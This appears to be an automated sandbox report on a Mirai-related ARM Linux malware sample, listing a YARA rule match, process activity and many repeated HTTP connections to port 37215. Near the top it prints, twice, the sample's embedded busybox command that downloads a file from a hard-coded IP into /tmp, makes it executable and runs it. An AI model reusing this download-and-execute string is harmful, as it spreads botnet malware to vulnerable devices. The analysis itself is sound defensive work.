Source: 5226.1.00000000bc1066aa.00000000a559dee6.r-x.sdmp, type: MEMORY	Matched rule: MAL_ELF_LNX_Mirai_Oct10_2 date = 2018-10-27, hash1 = fa0018e75f503f9748a5de0d14d4358db234f65e28c31c8d5878cc58807081c9, author = Florian Roth, description = Detects ELF malware Mirai related, reference = Internal Research

Source: /tmp/apep.arm (PID: 5224)

SIGKILL sent: pid: 761, result: successful

Jump to behavior

Source: ELF static info symbol of initial sample

.symtab present: no

Source: Initial sample	String containing 'busybox' found: $(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)
Source: Initial sample	String containing 'busybox' found: $(/bin/busybox wget -g 103.136.43.126 -l /tmp/monke -r /x; /bin/busybox chmod 777 * /tmp/monke; /tmp/monke 0day.router)[scanner] FD%d finnished

Source: classification engine

Classification label: mal84.spre.troj.linARM@0/0@0/0

Source: /tmp/apep.arm (PID: 5224)	File opened: /proc/491/fd	Jump to behavior
Source: /tmp/apep.arm (PID: 5224)	File opened: /proc/1/fd	Jump to behavior
Source: /tmp/apep.arm (PID: 5224)	File opened: /proc/761/fd	Jump to behavior
Source: /tmp/apep.arm (PID: 5224)	File opened: /proc/720/fd	Jump to behavior
Source: /tmp/apep.arm (PID: 5224)	File opened: /proc/721/fd	Jump to behavior
Source: /tmp/apep.arm (PID: 5224)	File opened: /proc/658/fd	Jump to behavior
Source: /tmp/apep.arm (PID: 5224)	File opened: /proc/759/fd	Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45232 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35312 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42326 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45614 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39746 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58154 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56740 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59088 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49234 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37318 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56280 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59712 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40034 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48786 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34846 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55778 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39616 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57564 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47854 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44278 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34196 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37320 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51008 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51542 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54602 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46130 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37390 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60092 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39238 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37820 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38744 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52406 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41946 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60926 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48062 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49554 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46174 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48570 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42984 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49566 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54506 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48918 -> 37215
